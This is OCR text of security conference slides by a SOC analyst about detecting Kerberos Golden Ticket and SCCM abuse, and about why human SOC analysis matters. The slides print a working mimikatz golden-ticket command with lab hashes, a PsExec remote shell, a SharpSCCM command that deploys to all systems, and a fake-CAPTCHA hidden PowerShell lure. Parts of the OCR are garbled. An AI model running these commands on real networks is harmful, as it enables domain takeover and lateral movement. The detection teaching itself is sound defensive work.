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This is not a complete definition, however, it is undoubtedly true.

Classical Security Products Jole

Focus primarily on productivity and Prioritizes the client's , protecting the
prevention client rather than just the computer
Rely heavily on signatures, patterns, and Employs and adaptive for
heuristics to detect known threats. manipulating telemetry data to detect
anomalies
Traditional security solutions focused A centralized security that
on prevention and detection through continuously monitors and responds to
signatures and patterns, serving as ‘ cyber threats using
fundamental tools for SOC operations. tailored to the

organization’s specific
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He that breaks a thing to find out what it is has left the path of wisdom.
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Gandalf speaking to Saruman
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Kerberos

Let’s break down the method for detecting a Golden Ticket
attack and why this is specifically a
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Kerberos

Client Authentication to the AS

--------------------------------
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Let’s recall the Kerberos page from Wikipedia.

« KDC distributes tickets

« KRBTGT hash — key for KDC

@cc
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Kerberos Authentication Flow

1. Client request TGT From KDC DC/ KDC

Authentication service sends
Encrypted TGT and session key

3 Client request server access
~ from TGS

Privileged User

TGS sends encrypted session key
and ticket

- ! .
Client sends service ticket Kerberos-enabled

Service

Server sends encrypted time stamp
from client validation

6.




Kerberos Authentication Flow (Try to run cmd via PsExec)
10

DC /KDC

o
Crafted TGT in [ ]
session I

(known KRBTGT hash)

5 Client request server access

from TGS To Start a process
1)We need to create a session
Privileged User a)We Must have a TGT

TGS sends encrypted session key
and ticket

b)Session creates a Token
2)Need TGS on SCM service

- ! .
Client sends service ticket Kerberos-enabled

Service

Server sends encrypted time stamp
from client validation

6.




Kerberos Authentication Flow

Crafted TGT in

DC/KDC

session
(known KRBTGT hash)

Privileged User

Client request server access
from TGS

Forwarded Crafted

: TGT obtained as a
TGS sends encrypted session key ‘ e
result of creating
primary token

and ticket

: e User session
9. Client sends service ticket

© + =

LUID Token

p Server sends encrypted time stamp
" from client validation
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Kerberos Authentication Flow (forge GT)
12

Lets Google how (implement best read team practice) and create our own GT

o adsecurity.org/?page_id=1821#KERBEROSGolden
cks

kerberos::golden /admin:ADMIINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID
/krbtgt: KRBTGTPASSWORDHASH /ptt

S

mimikatz # kerberos::gqlden /domain:GAM.CLICK /sid:S-1-5-21-511818909-1338016983-424820340 /rcd:43ad00aB8e90d836d3b051c9b
28elabac /user:AdminisWator /ptt

User : Administrator

Domain : GAM.CLICK (GAM)

SID : §-1-5-21-511818909-1338016983-424820340

User Id : 500

Groups Id : *513 512 520 518 519

ServiceKey: U43ad00a8e90d836d3b051c9b28eldabac — rcl_hmac_nt

Lifetime : 05.11.2024 14:00:06 ; 03.11.2034 14:00:06 ; 03.11.2034 14:00:06
—> Ticket : ** Pass The Ticket =*=*

PAC generated

PAC signed
EncTicketPart generated
EncTicketPart encrypted
KrbCred generated

Golden ticket for 'Administrator @ GAM.CLICK' successfully submitted for current session




Kerberos Authentication Flow (GT Logon)
And everything works perfectly

2. mimikatz 2.2.0 x64 (oe.eo) 2 \\sccm.gam.click: cmd

& >>» PsiExec6d.exe \\sccm.gam.click cmd

PsExec v2.34 - Execute processes remotely
Copyright (C) 2001-2021 Mark Russinovich
Sysinternals — www.sysinternals.com

Microsoft Windows [Version 10.0.17763.6414]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>hostname
sccm

v LB PSEXESVC.exe 10528 NT AUTHORITY\SYSTEM
v -] cmd.exe 5944 gam\Administrator

=] conhost.exe 13032 gam\Administrator

13



Kerberos Authentication Flow (GT Logon token groups)

*-| cmd.exe (5944) Properties

General Statistics Performance Threads

User: gam\Administrator

User SID:

Session: 0 Elevated: Yes (Default)

Name
SeDelegateSessionUserImpersonatePrivilege

Groups

Everyone

NT AUTHORITY\NETWORK

NT AUTHORITY\Authenticated Users
NT AUTHORITY\This Organization
SCCM\SMS Admins
SCCM\ConfigMgr_CollectedFilesAccess
gam\Domain Admins

gam\Domain Users

gam\Schema Admins

gam\Enterprise Admins

gam\Group Policy Creator Owners
gam\Denied RODC Password Replication Group
BUILTIN\Administrators
BUILTIN\Users

Mandatory Label\High Mandatory Level

Token

S-1-5-21-511818909-1338016983-424820340-500

Modules

Memory Environment Handles GPU Disk  Network

Virtualized: Not allowed

Status
Enabled

Enabled
Enabled
Enabled
Enabled
Enabled
Enabled
Enabled
Enabled
Enabled
Enabled
Enabled
Enabled
Enabled
Enabled

Description

Obtain an impersonati...

5-1-1-0

S-1-5-2

S-1-5-11

S-1-5-15
S-1-5-21-48149668-3724105958-98290885-1013
S-1-5-21-48149668-3724105958-98290885-1014
S-1-5-21-511818909-1338016983-424820340-512
5-1-5-21-511818909-1338016983-424820340-513
5-1-5-21-511818909-1338016983-424820340-518
S-1-5-21-511818909-1338016983-424820340-519
S-1-5-21-511818909-1338016983-424820340-520
S-1-5-21-511818909-1338016983-424820340-572
S-1-5-32-544

S-1-5-32-545

S-1-16-12288

Mandatory
Mandatory
Mandatory
Mandatory
Mandatory
Mandatory
Mandatory
Mandatory
Mandatory
Mandatory
Mandatory
Mandatory, Resource
Mandatory, Owner
Mandatory
Integrity

Comment Windows

World (Authority)
NT (Authority)
NT (Authority)
NT (Authority)
Local

Local
ActiveDirectory
ActiveDirectory
ActiveDirectory
ActiveDirectory
ActiveDirectory
ActiveDirectory
Local

Local

Mandatory label

WellKnownGroup
WellKnownGroup
WellKnownGroup
WellKnownGroup
Alias

Alias

Group

Group

Group

Group

Group

Alias

Alias

Alias

Label




Kerberos Authentication Flow (real Domain Administrator Logon)

User: gam\Administrator
User 5ID:
Session: 1

SIS
NT AUTHORITY\LogonSessionld_0_842047
LOCAL

gam\TR-17763145s-distlist1
gam\CO-29131715h-distlist1
gam\JE-bic-distlist1
gam\CL-chusbarre-distlist1
gam\LI-270-distlist1

gam\68-bar-distlist1
gam\TE-BEM-admingroup1
gam\TE-cos-distlist1

gam\QU-585-distlist1

gam\TR-Mco-distlist1
gam\AR-arellano7-distlist1
gam\LL-pil-distlist1
gam\AB-leo-admingroup1
gam\AN-dou-distlist1
gam\AN-260-admingroup1

mmem L ETT A MRA A4

Virtualized: Not allowed

Status Description

[ R ) By A

Enabled
Enabled
Enabled
Enabled
Enabled
Enabled
Enabled
Enabled
Enabled
Enabléd
Enabled
Enabled
Enabled
Enabled
Enabled
Enabled
Enabled

Moo A

5-1-5-21-511818909-1338016983-424820340-500
Elevated: Yes (Default)

IIIIIII r

Logon Id, Mandatory

Mandatory
Mandatory
Mandatory
Mandatory
Mandatory
Mandatory
Mandatory
Mandatory
Mandatory
Mandatory
Mandatory
Mandatory
Mandatory
Mandatory
Mandatory
Mandatory

KA At s

SID

5-1-5-5-0-842047

5-1-2-0
5-1-5-21-511818909-1338016983-4248.20340-4317
5-1-5-21-511818909-1558016983-4248.20540-4143
5-1-5-21-511818909-1558016983-4.248.20540-4445
5-1-5-21-511818909-1558016985-4.248.20540-4508
5-1-5-21-511818909-1338016983-4248.20340-4220
5-1-5-21-511818909-1538016983-4.248.20540-4190
5-1-5-21-511818909-15580169835-4.248.20540-4158
5-1-5-21-511818909-1338016983-4248.20340-43/72
5-1-5-21-511818909-1538016983-4248.20540-4404
5-1-5-21-511818909-1538016983-4248.20540-4196
5-1-5-21-511818909-1558016983-4.248.20540-4305
5-1-5-21-511818909-1338016983-424820340-4454
5-1-5-21-511818909-1558016983-4.248.20540-4093
5-1-5-21-511818909-1558016983-4.248.20540-4199
5-1-5-21-511818909-1338016983-4.248.20340-4362

— 4 C T4 CA4040NM 473 30N4d D07 ATTADTNTT AN ATSCC

Default token

Permissions

Type

] 1L|| (B LNy | ..-r.lll

NT (Authority)

Local (Authority)

ActiveDirectory
ActiveDirectory
ActiveDirectory
ActiveDirectory
ActiveDirectory
ActiveDirectory
ActiveDirectory
ActiveDirectory
ActiveDirectory
ActiveDirectory
ActiveDirectory
ActiveDirectory
ActiveDirectory
ActiveDirectory
ActiveDirectory

[ I e P

Use

Logon session
WellKnownGroup

Group
Group
Group
Group
Group
Group
Group
Group
Group
Group
Group
Group
Group
Group

Integrity

Advanced

|

W



Kerberos Authentication Flow (GT — PAC — Token Groups)

TGT | 1998 32.329580

1999 32.329599

USEI’I‘Iﬂme | 2082 32.330140
| 2004 32.331183

192.168.199.132
192.168.199.132
192.168.199.132
192.168.199.129

Session key v GroupIDs
: Referent ID: 8x80820008
| Max Count: 5
TGT expiration time T o RiD: 514

Group Attributes: ©xeeeeeee7
v GROUP_MEMBERSHIP:

Group RID: 512
| Group Attributes: ©x90000007
— i v GROUP_MEMBERSHIP:

™ | Group RID: 520
—— | HI krhtgl' hash Group Attributes: @x80000007
- v GROUP_MEMBERSHIP:

Group RID: 518
Group Attributes: ©xeeeeeee7
v GROUP_MEMBERSHIP:

Group RID: 219
Group Attributes: ©xeeeeeee7

llsar Flags:

AxBaARARAA

192.168.199.129
192.168.199.129
192.168.199.129
192.168.199.132

SMB2
SMB2
SMB2
SMB2

16

2880 Session Setup Request

2880 Session Setup Request

2880 Session Setup Request
315 Session Setup Response

The same RIDS

PAC Is the reason of trust: If cryptography Is OK
LSASS accepts Group sids and pass to the token



Kerberos Authentication Flow (Finding mismatches)

17

That mismatches can be find, verified and information about
each logon can be enriched with that info

v [E PSEXESVC.exe

v *-| cmd.exe

10528 NT AUTHORITY\SYSTEM

5944 gam\Administrator

2.61 MB PsExec Service

2.62 MB

Windows Command Processor

-] conhost.exe 13032 gam\Administrator

EN Administrator: C:\Program Files\PowerShell\7\pwsh.exe

Token on
TRL User
Token on
Token on
Token on
Token on
Token on
Token on
Token on

User S-1-5-21-511818909-1338016983-424820340-500 1in
S-1-5-21-511818909-1338016983-424820340-500 belongs
User S-1-5-21-511818909-1338016983-424820340-500 1in
User S-1-5-21-511818909-1338016983-424820340-500 in
User S-1-5-21-511818909-1338016983-424820340-500 1in
User S-1-5-21-511818909-1338016983-424820340-500 in
User S-1-5-21-511818909-1338016983-424820340-500 1in
User S-1-5-21-511818909-1338016983-424820340-500 in
SENIESTE

User in

6.61 MB Console Window Host

Session

OxXEBF19E

to 41 groups

Session
Session
Session
Session
Session
Session
Session

OxXEBF19E
OxXEBF19E
OxXEBF19E
OxXEBF19E
OxXEBF19E
OxXEBF19E
OxXEBF19E

contains 6 groups

should
should
should
should
should
should
should

21-511818909-1338016983-424820340-4404
21-511818909-1338016983-424820340-4138
21-511818909-1338016983-424820340-4374

contains -5-
_5_
_5_
-5-21-511818909-1338016983-424820340-4454
_5-
-5-
_5-

contains
contains
contains
contains
contains
contains

doesn't
doesn't
doesn't
doesn't
doesn't
doesn't
doesn't

21-511818909-1338016983-424820340-4220
21-511818909-1338016983-424820340-4253

LV L LWL WL KBWn
R R R R R R R

CcoDbeBLUE 2024
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Context paradox

To create detection logic, we
sometimes need more context. In this
case, we need information from Active

Directory.

Only the SOC can access this
information and accurately process the

results.

18
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SCCM and monitoring troubles

Let’s go over the methods for monitoring and detecting attacks on
SCCM and confirm why this is specifically an area of focus .

coDbeBLUE 2024
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SCCM and monitoring troubles
20
System Center Configuration Manager (SCCM) is a systems management software developed by Microsoft that enables
administrators to manage large groups of Windows-based computers. SCCM allows for the deployment and
management of software, updates, and configurations across a network, providing tools for inventory tracking,
application delivery, patch management, and operating system deployment. It is widely used in enterprise environments

for automating routine tasks, enforcing security compliance, and maintaining configuration consistency across devices.

SCCM addresses the following tasks:

. Software Deployment — Distributes applications, updates, and patches across devices.

. Operating System DeploymSnG&M Aﬁ’arrﬂatd Qk iWhﬁ&@Mﬁﬂog\;é@u Wad nt
-Patch Management E“”TH%T”@WHY‘S@CWF TIRE Séﬂ”{y _E)CPﬁ'pIex system

. Inventory Management — Tracks hardware and Software asset§ within the net

Compliance Management—macrasaegun/gny@mramfrtasi}ﬁucture, should be
. Endpoint Protection — Prow e aﬁtl T%stg y Eﬁ(ittralfégmanagement.
leshootin of de

. Remote Control — Enables remote tr management vices

. Reporting and Analytics — Generates detailed reports on device health, compliance, and usage.

© 00 N O 01T b W DN BB

. Configuration Management — Manages configurations and settings across devices.

10. Power Management — Controls and monitors energy settings to optimize power usage.

@ CODE BLUE 2024
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SCCM and monitoring troubles

21

Due to SCCM’s rich functionality that a dedicated «ATT&CK matrix» was created specifically for it.
https://github.com/subatOmik/Misconfiguration-Manager

Lateral Collection Command Exfiltration
Movement and Control

Relay to Site PXE LDAP
Server SMB Credentials Enumeration App Deployment

Relay Client Policy Request SMB Scnpt
Push Installation Credentials Enumeration Deployment

Relay to DB DPAPI HTTP Relay to Site
MSSQL Credentials Enumeration Server SMB

Relay to DB Legacy
SMB Credentials

Relay Client

CMPivol Push Installation

Relay to DB

Relay to ADCS MSSQL

Relay to Site Database Relay to DB
AdminService Credentials SMB

Relay CAS to Relay CAS to
Child Child

Relay to SMS Relay to
Provider SMB AdminService

Relay between Relay to SMS
HA Provider SMB

coDbeBLUE 2024
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https://github.com/subat0mik/Misconfiguration-Manager

SCCM and monitoring troubles

This is a simplified architecture diagram of SCCM.

[ SCCM Console / Powershell Management scripts‘ é ﬁ

WMI Client classes WMI server classes
ROOT\CCM ROOT\SMS
I : I
S
o
o
4 ) g a2y N )
SCCM Client g SQL Site server

Q| n
s | E
2 | m
O
z|2 SQL
c | =
()]

y ;

. J 83

© \_ J

: &

Applying states, s Document storage, states,

configurations, settings, and configurations, site backup
software installation.

Information here



Detection Methods: SQL

23
SQL DUMP

The obvious approach is to collect data from SQL,
compare it, and look for suspicious changes. This is
challenging because the SQL on the site server
contains a significant volume of information, and the
relationships between fields, tables, and views are
complex. However, a lot of forensic information can
be found in the document storage.

Compare

You can write an SQL trigger that will notify us of
important changes in SCCM. However, this is
quite complex: you need to understand the
relationships between objects and views in the
database. Nonetheless, you can leverage the
wealth of resources provided by the community.

SQL Trigger Over Engineering

EEEEEEE SECURITY MATTERS
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SCCM and monitoring troubles: getting into trouble — full dump and diff
24

SharpSCCM.exe exec -p "cmd /c ping.exe -t google.com" -n "All Systems"

When you create a Deployment Task that runs “ping Google.com” on each computer, the malicuous command string
appears in the site database only as an embedded XML document within a single column in the document storage.

Documents (4) Field statistics

k sccm_tablename # Documen t Body
tType

" | | CI_DocumentStore 8 <AppMgmtDigest xmlns="http://schemas.microsoft.com/SystemCenterConf
instance”><Application AuthoringScopeld="Scopeld_F25FB8B6-4C3E-4B5L
a483e945bBBc" Version="1"><DisplayInfo DefaultlLanguage="en-US"><Inf

%Eﬁﬁdeﬁﬁﬂitlenmblisher /><Version /></Info></DisplayInfo=><[
_ B B90A/DeploymentType_bce89eb9-b6t/7-4788-aZcd-91feedf

/" | | CI_DocumentStore _ .
InstallCommandLine = J'cmd /c ping.exe -t google.com"] Execu

RequiresUserlInteraction = false; RequiresReboot = false; Us

"BasedOnExitCode": ExecuteTime = B: MaxExecuteTime = 15; Ru

BECAUSE SECURITY MATTERS
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SCCM and monitoring troubles: WMI approach

25

To monitor changes in SCCM, we will create WMI subscriptions that will notify us of any
significant changes in SCCM. It is extremely configurable approach

EXEC-1 — Deployment was added

foreach (string className in classesToMonitor)

{
string [] classesToMonitor = { WglEventQuery query = new WglEventQuery(
"SMS_DeploymentInfo", "__InstanceCreationEvent",
"SMS_CombinedDeviceResources", new TimeSpan(@, 0, 1),

"SMS_Admin" >
"SMS5_Scripts”,
"SMS_SCI_Reserved"

ManagementEventWatcher _watcher;

$"TargetInstance ISA '{className}'");

_watcher = new ManagementEventWatcher(scope, query);

_watcher.EventArrived += new EventArrivedEventHandler(HandleEvent);

_watcher.Start();

@cc
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SCCM and monitoring troubles: WMI approach, the PoC

> |

EX pwsh in SharpSCCM

Administrator

copeBLUE=202Y4
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SCCM and monitoring troubles: distribution paradox.

SCCM is a great example of how, in a distributed
information system, a specific piece of software can be
defined on system yet executed on another.

This can be called the distribution paradox.

Only the SOC team can effectively correlate and monitor
information within distributed systems.

27
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Just Examples

28

Eventually, in the field of information security, you’ll face challenges that can’t be handled by any
automated systems currently available in your infrastructure.

That’s why it’s essential to have monitoring centers and in place
— they provide the expertise and oversight needed when automation alone isn’t enough.

coDbeBLUE 2024
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Just Examples

Security incident in the infrastructure o

On 2024-06-13 03:58 (UTC) a suspicious software was found running on the host ST

C:\Windows\System32\DiagSvcs\ApplicationDiagnosticsHub.exe
MDb: OxbF3BE4AEBAD49DE9256A0A5E9DDB2822

Original File name: cloudflared.exe

29

Cloudflare Zero Trust Tunnel is a service from Cloudflare that proxies traffic to your origin (e.g. a webserver or router), more
Information about its potential abuse and malicious usage is available in the following blog post:

e CloudflareD AbuseD inthe WIilD

This software was executed with following parameters:

It would be very difficult for an automated tool to detect this, because, depending on the
could be used completely

context,

@cc

DE BLUE 2024
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Just Examples

30

On the same day, several hours later, starting from 78.0/7.40 (UTC) an UPX compressed RAR binary was dropped into the host:

Path: C:\PerfLogs\Rar.exe
MD5: Ox/DA81965853F54/78587/1FCCF/8C3EO2
Size:125.50 KB (128512 B)

Curiously, the binary is the same one that was leaked from the Shadowbrokers leak, available in the public domain.

Only an expert assessment by of a particular
artifact. The SOC can also potentially reduce the perceived significance of certain artifacts.

EEEEEEEEEEEEEEEEEEEEEE
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Just Examples

31

N
m Case #91 - APT infiltration via dinotify.dll implant on three hosts

It is just the title of an incident case.
But we immediately see and of problem
Prioritization — great gift from SOC to your IT security

EEEEEEE SECURITY MATTERS
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Just Examples

32
The activity originated from visiting newvideozones|.]click/veri[.]html| which was accessed via browsing activity on firefox.exe.

The page is a fake CAPTCHA that is tricking the user into executing the command.

Below is a screenshot of the mentioned URL:

Verification Instructions

ey Can explain things

3. Press Enter

»  Type the name of a program, folder, document, or Internet
— resource, and Windows will open it for you.

powershell -w hidden -eC aQBIAHgAIAA0AGKAdwBYAC ~

Cancel H Browse...

coDbeBLUE 2024
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Conclusions

Just build\make\implement SOC

* It will bring new quality characteristics to your information security
processes

* It will make your life easier (well, later, when everything settles down)

* [t cool (the level of technology will increase)

copeBLUE 2024
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Questions?



Thank youl

Rodchenko Aleksandr Senior SOC Analyst @Gamd4enko

lkaspersky
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